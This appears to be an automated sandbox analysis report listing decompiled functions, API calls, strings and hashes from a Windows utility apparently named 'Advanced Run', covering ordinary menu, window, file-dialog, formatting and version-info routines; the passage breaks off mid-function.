Opcode ID: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction ID: d8c40f1c932df66c49e6576a1425660ae0ae50b86724cae367092fb81a03718d
Opcode Fuzzy Hash: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction Fuzzy Hash: 75318C31A00209EFDF14AF55CC86AAA7B76FF04320F1001AAF905BB2D2D735AA51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040605E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040605E(void* __ecx, void* __eflags, intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t24;
				wchar_t* _t30;
				intOrPtr _t32;
				int _t34;
				int _t42;
				signed int _t47;
				signed int _t48;

				_t36 = __ecx;
				_t48 = _t47 & 0xfffffff8;
				E0040B550(0x203c, __ecx);
				_t24 = GetMenuItemCount(_a8);
				_t34 = _t24;
				_t42 = 0;
				if(_t34 <= 0) {
					L13:
					return _t24;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t48 = _t48 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t24 = GetMenuItemInfoW(_a8, _t42, 1,  &_v0);
					if(_t24 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						_t56 = _a20;
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t24 = E0040605E(_t36, _t56);
							_t48 = _t48 + 0xc;
						}
						goto L12;
					}
					_t30 = wcschr( &_a48, 9);
					if(_t30 != 0) {
						 *_t30 = 0;
					}
					_t31 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x40fe20 =  *0x40fe20 + 1;
							_t32 =  *0x40fe20; // 0x0
							_t31 = _t32 + 0x11558;
							__eflags = _t32 + 0x11558;
						} else {
							_t17 = _t42 + 0x11171; // 0x11171
							_t31 = _t17;
						}
					}
					_t24 = E00406025(_t31,  &_a48);
					_pop(_t36);
					goto L10;
					L12:
					_t42 = _t42 + 1;
				} while (_t42 < _t34);
				goto L13;
			}

0x0040605e
0x00406061
0x00406069
0x00406074
0x0040607a
0x0040607e
0x00406082
0x00406148
0x0040614e
0x00000000
0x00000000
0x00000000
0x00406088
0x00406088
0x00406093
0x00406098
0x0040609f
0x004060ae
0x004060b6
0x004060be
0x004060c6
0x004060ca
0x004060cf
0x004060d7
0x00000000
0x00000000
0x004060de
0x00406129
0x00406129
0x0040612d
0x0040612f
0x00406130
0x00406134
0x00406137
0x0040613c
0x0040613c
0x00000000
0x0040612d
0x004060e7
0x004060f0
0x004060f2
0x004060f2
0x004060f9
0x004060fd
0x00406102
0x0040610c
0x00406112
0x00406117
0x00406117
0x00406104
0x00406104
0x00406104
0x00406104
0x00406102
0x00406122
0x00406128
0x00000000
0x0040613f
0x0040613f
0x00406140
0x00000000

APIs

GetMenuItemCount.USER32(?), ref: 00406074
memset.MSVCRT ref: 00406093
GetMenuItemInfoW.USER32 ref: 004060CF
wcschr.MSVCRT ref: 004060E7

Strings

6, xrefs: 004060B6
0, xrefs: 004060AE

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction ID: 45aed224341beddc1f9b42311d86e3f1d1daa84a2c492251b1da63e2972132ba
Opcode Fuzzy Hash: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction Fuzzy Hash: 7521F132504304ABC720DF45D84599FB7E8FB85754F000A3FF685A62D1E776C950CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BEE, Relevance: 10.6, APIs: 7, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402BEE(void* __ebx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				void* _t27;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t41;
				int _t50;

				_t34 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x10)) == 0 ||  *((intOrPtr*)(__ebx + 0x14)) == 0) {
					return _t27;
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v8 = GetSystemMetrics(0x4e);
					_v12 = GetSystemMetrics(0x4f);
					_t41 = GetSystemMetrics(0x4c);
					_t31 = GetSystemMetrics(0x4d);
					if(_v8 == 0 || _v12 == 0) {
						_v8 = GetSystemMetrics(0);
						_v12 = GetSystemMetrics(1);
						_t41 = 0;
						_t31 = 0;
					} else {
						_v8 = _v8 + _t41;
						_v12 = _v12 + _t31;
					}
					_t50 = _v20 - _v28;
					if(_t50 > 0x14) {
						_t38 = _v24;
						_t37 = _v16 - _t38;
						if(_t37 > 0x14 && _v20 > _t41 + 5) {
							_t31 = _t31 + 0xfffffff6;
							if(_t38 >= _t31) {
								_t31 = _v28;
								if(_t31 + 0x14 < _v8 && _t38 + 0x14 < _v12 &&  *((intOrPtr*)(_t34 + 0x1c)) != 0) {
									_t31 = SetWindowPos( *(_t34 + 0x10), 0, _t31, _t38, _t50, _t37, 0x204);
								}
							}
						}
					}
					return _t31;
				}
			}

0x00402bee
0x00402bf8
0x00402cae
0x00402c08
0x00402c10
0x00402c11
0x00402c12
0x00402c13
0x00402c20
0x00402c27
0x00402c2e
0x00402c30
0x00402c37
0x00402c4b
0x00402c50
0x00402c53
0x00402c55
0x00402c3e
0x00402c3e
0x00402c41
0x00402c41
0x00402c5a
0x00402c60
0x00402c65
0x00402c68
0x00402c6d
0x00402c77
0x00402c7c
0x00402c7e
0x00402c87
0x00402ca5
0x00402ca5
0x00402c87
0x00402c7c
0x00402c6d
0x00000000
0x00402cac

APIs

GetSystemMetrics.USER32 ref: 00402C1C
GetSystemMetrics.USER32 ref: 00402C23
GetSystemMetrics.USER32 ref: 00402C2A
GetSystemMetrics.USER32 ref: 00402C30
GetSystemMetrics.USER32 ref: 00402C47
GetSystemMetrics.USER32 ref: 00402C4E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204,?,?,?,?,?,?,?,?,0040365B), ref: 00402CA5

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$Window
String ID:
API String ID: 1155976603-0
Opcode ID: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction ID: 7065afd7c6b37d04baa6ac94661e9c3c7a9384fc7fb7d7b8ebf201216021487f
Opcode Fuzzy Hash: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction Fuzzy Hash: B9217F72D00219EBEF14DF68CE496AF7B75EF40318F11446AD901BB1C5D2B8AD81CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004036D5, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004036D5(void* __edi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _v24;
				char _v28;
				char* _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				int _v64;
				int _v72;
				intOrPtr _v76;
				wchar_t* _v80;
				intOrPtr _v84;
				int _v92;
				char* _v96;
				intOrPtr _v104;
				struct tagOFNA _v108;
				void _v634;
				long _v636;
				void _v2682;
				char _v2684;
				void* __ebx;
				char _t37;
				intOrPtr _t38;
				int _t46;
				signed short _t54;

				_v636 = 0;
				memset( &_v634, 0, 0x208);
				_v2684 = 0;
				memset( &_v2682, 0, 0x7fe);
				_t37 =  *((intOrPtr*)(L"cfg")); // 0x660063
				_v12 = _t37;
				_t38 =  *0x40cbf0; // 0x67
				_v8 = _t38;
				_v28 = E00405B81(0x227);
				_v24 = L"*.cfg";
				_v20 = E00405B81(0x228);
				_v16 = L"*.*";
				E00405236( &_v2684,  &_v28);
				_t54 = 0xa;
				_v60 = E00405B81(_t54);
				_v104 =  *((intOrPtr*)(__edi + 0x10));
				_v48 =  &_v12;
				_v96 =  &_v2684;
				_v108 = 0x4c;
				_v92 = 0;
				_v84 = 1;
				_v80 =  &_v636;
				_v76 = 0x104;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0x80806;
				_t46 = GetSaveFileNameW( &_v108);
				if(_t46 != 0) {
					wcscpy( &_v636, _v80);
					return E0040365E(__edi, 1,  &_v636);
				}
				return _t46;
			}

0x004036ef
0x004036f6
0x0040370b
0x00403712
0x00403717
0x0040371c
0x0040371f
0x0040372c
0x00403735
0x00403738
0x00403744
0x00403751
0x00403758
0x00403760
0x00403769
0x0040376c
0x00403778
0x0040377b
0x0040378b
0x00403792
0x00403795
0x00403798
0x0040379b
0x004037a2
0x004037a5
0x004037a8
0x004037af
0x004037b7
0x004037c3
0x00000000
0x004037d4
0x004037dc

APIs

memset.MSVCRT ref: 004036F6
memset.MSVCRT ref: 00403712

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Part of subcall function 00405236: memset.MSVCRT ref: 00405257
Part of subcall function 00405236: _snwprintf.MSVCRT ref: 00405285
Part of subcall function 00405236: wcslen.MSVCRT ref: 00405291
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052A9
Part of subcall function 00405236: wcslen.MSVCRT ref: 004052B7
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052CA

GetSaveFileNameW.COMDLG32(?), ref: 004037AF
wcscpy.MSVCRT ref: 004037C3

Strings

cfg, xrefs: 00403717
L, xrefs: 0040378B

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpymemsetwcslen$HandleModulewcscpy$FileLoadNameSaveString_snwprintf
String ID: L$cfg
API String ID: 275899518-3734058911
Opcode ID: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction ID: 069f946bae6f7cb0c9846f37a0b0d91fba0b14879ba0d1f27e167351657a8a18
Opcode Fuzzy Hash: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction Fuzzy Hash: 78312AB1D04218AFDB50DFA5D889ADEBBB8FF04314F10416AE508B6280DB746A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED0, Relevance: 10.6, APIs: 7, Instructions: 63
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404ED0(FILETIME* __eax, wchar_t* _a4) {
				struct _SYSTEMTIME _v20;
				long _v276;
				long _v532;
				FILETIME* _t15;

				_t15 = __eax;
				if(__eax->dwHighDateTime != 0 ||  *__eax != 0) {
					if(FileTimeToSystemTime(_t15,  &_v20) == 0 || _v20 <= 0x3e8) {
						goto L5;
					} else {
						GetDateFormatW(0x400, 1,  &_v20, 0,  &_v276, 0x80);
						GetTimeFormatW(0x400, 0,  &_v20, 0,  &_v532, 0x80);
						wcscpy(_a4,  &_v276);
						wcscat(_a4, " ");
						wcscat(_a4,  &_v532);
					}
				} else {
					L5:
					wcscpy(_a4, 0x40c4e8);
				}
				return _a4;
			}

0x00404ed0
0x00404edf
0x00404ef6
0x00000000
0x00404f00
0x00404f1c
0x00404f31
0x00404f41
0x00404f4e
0x00404f5d
0x00404f66
0x00404f69
0x00404f69
0x00404f71
0x00404f77
0x00404f7d

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00404EEE
GetDateFormatW.KERNEL32(00000400,00000001,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F1C
GetTimeFormatW.KERNEL32(00000400,00000000,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F31
wcscpy.MSVCRT ref: 00404F41
wcscat.MSVCRT ref: 00404F4E
wcscat.MSVCRT ref: 00404F5D
wcscpy.MSVCRT ref: 00404F71

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction ID: 27f756489727a3478797c508db698983d473b6c4fef27ef98cb5a9ae0a7a07e8
Opcode Fuzzy Hash: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction Fuzzy Hash: 951160B2840119EBDB11AB94DC85EFE776CFB44304F04457ABA05B6090D774AA858BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404FE0(wchar_t* __edi, intOrPtr _a4, signed int _a8) {
				void _v514;
				long _v516;
				wchar_t* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v516 = _v516 & 0x00000000;
				memset( &_v514, 0, 0x1fc);
				 *__edi =  *__edi & 0x00000000;
				_t37 = _t36 + 0xc;
				_t35 = 0;
				do {
					_push( *(_t35 + _a4) & 0x000000ff);
					_push(L"%2.2X");
					_push(0xff);
					_push( &_v516);
					L0040B1EC();
					_t37 = _t37 + 0x10;
					if(_t35 > 0) {
						wcscat(_t34, " ");
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							wcscat(_t34, L"  ");
						}
					}
					wcscat(_t34,  &_v516);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}

0x00404fe0
0x00404fe9
0x00405000
0x00405005
0x00405009
0x0040500c
0x0040500e
0x00405015
0x00405016
0x00405021
0x00405026
0x00405027
0x0040502c
0x00405031
0x00405039
0x0040503f
0x00405044
0x00405048
0x0040504e
0x00405056
0x0040505c
0x0040504e
0x00405065
0x0040506a
0x00405072
0x00405079

APIs

memset.MSVCRT ref: 00405000
_snwprintf.MSVCRT ref: 00405027
wcscat.MSVCRT ref: 00405039
wcscat.MSVCRT ref: 00405056
wcscat.MSVCRT ref: 00405065

Strings

%2.2X, xrefs: 00405016

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction ID: 93e5f8641594d75a0278127c9762c797554eaad4f41234795e116b90c7bd1a0f
Opcode Fuzzy Hash: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction Fuzzy Hash: FA01B57394072566E72067569C86BBB33ACEB41714F10407BFD14B91C2EB7CDA444ADC

Uniqueness

Uniqueness Score: -1.00%

Function 00407D80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00407D80(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void* __esi;
				intOrPtr* _t16;
				void* _t19;
				intOrPtr* _t29;
				char* _t31;

				_t29 = __ecx;
				_v516 = 0;
				memset( &_v514, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t16 = _t29;
				if( *((intOrPtr*)(_t29 + 0x24)) == 0) {
					_push(L"<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>\r\n");
				} else {
					_push(L"<?xml version=\"1.0\" ?>\r\n");
				}
				E00407343(_t16);
				_t19 =  *((intOrPtr*)( *_t29 + 0x24))(_a4);
				_t31 =  &_v516;
				E00407250(_t31, _t19);
				_push(_t31);
				_push(L"<%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t29, _a4,  &_v1028);
			}

0x00407d9c
0x00407d9e
0x00407da5
0x00407db3
0x00407dba
0x00407dc5
0x00407dc7
0x00407dd0
0x00407dc9
0x00407dc9
0x00407dc9
0x00407dd8
0x00407de1
0x00407de5
0x00407deb
0x00407df2
0x00407df3
0x00407dfe
0x00407e03
0x00407e04
0x00407e21

APIs

memset.MSVCRT ref: 00407DA5
memset.MSVCRT ref: 00407DBA
_snwprintf.MSVCRT ref: 00407E04

Strings

<%s>, xrefs: 00407DF3
<?xml version="1.0" ?>, xrefs: 00407DC9
<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00407DD0

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3473751417-2880344631
Opcode ID: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction ID: f522b8c77a058770ba0888167d6ec5df55c59d6d485a4440fbbc7c77367e2349
Opcode Fuzzy Hash: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction Fuzzy Hash: E0019BB1E402197AD710A695CC45FBE766CEF44344F0001FBBA08F3191D738AE4586ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00403B3C(intOrPtr _a4) {
				void _v526;
				char _v528;
				void _v2574;
				char _v2576;
				void* __edi;
				intOrPtr _t29;

				_v2576 = 0;
				memset( &_v2574, 0, 0x7fe);
				_v528 = 0;
				memset( &_v526, 0, 0x208);
				E00404AD9( &_v528);
				_push( &_v528);
				_push(L"\"%s\" /EXEFilename \"%%1\"");
				_push(0x3ff);
				_push( &_v2576);
				L0040B1EC();
				_t37 = _a4 + 0xa68;
				E00404923(0x104, _a4 + 0xa68, L"exefile");
				E00404923(0x104, _a4 + 0xc72, L"Advanced Run");
				E00404923(0x3ff, _t37 + 0x414,  &_v2576);
				_t29 = E0040467A(_t37);
				 *((intOrPtr*)(_a4 + 0x167c)) = _t29;
				return _t29;
			}

0x00403b56
0x00403b5d
0x00403b6f
0x00403b76
0x00403b82
0x00403b8d
0x00403b8e
0x00403b99
0x00403b9e
0x00403b9f
0x00403ba7
0x00403bb9
0x00403bce
0x00403be5
0x00403bef
0x00403bf8
0x00403c00

APIs

memset.MSVCRT ref: 00403B5D
memset.MSVCRT ref: 00403B76

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 0040467A: memset.MSVCRT ref: 004046AF
Part of subcall function 0040467A: _snwprintf.MSVCRT ref: 004046CD
Part of subcall function 0040467A: RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
Part of subcall function 0040467A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

Advanced Run, xrefs: 00403BBE
exefile, xrefs: 00403BAD
"%s" /EXEFilename "%%1", xrefs: 00403B8E

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$CloseFileModuleNameOpenmemcpywcslen
String ID: "%s" /EXEFilename "%%1"$Advanced Run$exefile
API String ID: 1832587304-479876776
Opcode ID: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction ID: c5548abdd2f98fe5b378efca96f69d72dd5acd8230f4ce7b006819db5738462c
Opcode Fuzzy Hash: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction Fuzzy Hash: 6B11A3B29403186AD720E761CC05ACF776CDF45314F0041B6BA08B71C2D77C5B418B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFBE, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AFBE(void* __esi, void* _a4, wchar_t* _a8, wchar_t* _a12) {
				void* _v8;
				int _v12;
				short _v524;
				char _v1036;
				void* __edi;

				wcscpy( &_v524, L"\\StringFileInfo\\");
				wcscat( &_v524, _a8);
				wcscat( &_v524, "\\");
				wcscat( &_v524, _a12);
				if(VerQueryValueW(_a4,  &_v524,  &_v8,  &_v12) == 0) {
					return 0;
				}
				_t34 =  &_v1036;
				E00404923(0xff,  &_v1036, _v8);
				E004049A2(_t34, __esi);
				return 1;
			}

0x0040afd3
0x0040afe2
0x0040aff3
0x0040b002
0x0040b023
0x00000000
0x0040b047
0x0040b02e
0x0040b034
0x0040b03c
0x00000000

APIs

wcscpy.MSVCRT ref: 0040AFD3
wcscat.MSVCRT ref: 0040AFE2
wcscat.MSVCRT ref: 0040AFF3
wcscat.MSVCRT ref: 0040B002
VerQueryValueW.VERSION(?,?,00000000,?), ref: 0040B01C

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 004049A2: lstrcpyW.KERNEL32 ref: 004049B7
Part of subcall function 004049A2: lstrlenW.KERNEL32(?), ref: 004049BE

Strings

\StringFileInfo\, xrefs: 0040AFCD

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 393120378-2245444037
Opcode ID: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction ID: 46c7c43bb965d9609608e4f6c2ae6b517043b349f439a100f6d085a340de75fe
Opcode Fuzzy Hash: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction Fuzzy Hash: CF015EB290020DA6DB11EAA2CC45DDF776DDB44304F0005B6B654F2092EB3CDA969A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E8D, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00405EB2
wcscpy.MSVCRT ref: 00405ED5

Strings

general, xrefs: 00405ECB
strings, xrefs: 00405EC0
menu_%d, xrefs: 00405E96
dialog_%d, xrefs: 00405EA6

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction ID: fc2f6d5a95cb840c7437c23e5da9cc5f651b22c54dcbfaa02992beb3cb27aad2
Opcode Fuzzy Hash: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction Fuzzy Hash: CDE08C31A94B00B5E96423418DC7F2B2801DE90B14FB0083BF686B05C1E6BDBA0528DF

Uniqueness

Uniqueness Score: -1.00%

Function 004092F0, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004092F0(void* __ecx, void* __eflags, long _a4, void _a8, intOrPtr _a12, long _a16, intOrPtr _a508, intOrPtr _a512, intOrPtr _a540, intOrPtr _a544, char _a552, char _a560, intOrPtr _a572, intOrPtr _a576, intOrPtr _a580, long _a1096, char _a1600, int _a1616, void _a1618, char _a2160) {
				void* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				unsigned int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				void* _t59;
				void* _t69;
				void* _t72;
				intOrPtr _t78;
				void _t89;
				signed int _t90;
				int _t98;
				signed int _t105;
				signed int _t106;
				void* _t109;

				_t106 = _t105 & 0xfffffff8;
				E0040B550(0x8874, __ecx);
				_t98 = 0;
				_a8 = 0;
				if(E00404BD3() == 0) {
					L12:
					__eflags =  *0x4101b8 - _t98; // 0x0
					if(__eflags != 0) {
						_t89 = _a4;
						_t58 =  *0x40f83c(8, _t89);
						__eflags = _t58 - 0xffffffff;
						_v8 = _t58;
						if(_t58 != 0xffffffff) {
							_v0 = 1;
							_a560 = 0x428;
							_t59 =  *0x40f834(_t58,  &_a560);
							while(1) {
								__eflags = _t59;
								if(_t59 == 0) {
									goto L18;
								}
								memset( &_a8, _t98, 0x21c);
								_a12 = _a580;
								_a8 = _t89;
								wcscpy( &_a16,  &_a1096);
								_a540 = _a576;
								_t106 = _t106 + 0x14;
								_a544 = _a572;
								_a552 = 0x428;
								_t69 = E00409510(_a8,  &_a8);
								__eflags = _t69;
								if(_t69 != 0) {
									_t59 =  *0x40f830(_v16,  &_a552);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t109 =  *0x4101bc - _t98; // 0x0
					if(_t109 == 0) {
						goto L12;
					} else {
						_t72 = OpenProcess(0x410, 0, _a4);
						_v0 = _t72;
						if(_t72 != 0) {
							_push( &_a4);
							_push(0x8000);
							_push( &_a2160);
							_push(_t72);
							if( *0x40f840() != 0) {
								_t6 =  &_v12;
								 *_t6 = _v12 >> 2;
								_v8 = 1;
								_t90 = 0;
								if( *_t6 != 0) {
									while(1) {
										_a1616 = _t98;
										memset( &_a1618, _t98, 0x208);
										memset( &_a8, _t98, 0x21c);
										_t78 =  *((intOrPtr*)(_t106 + 0x898 + _t90 * 4));
										_t106 = _t106 + 0x18;
										_a8 = _a4;
										_a12 = _t78;
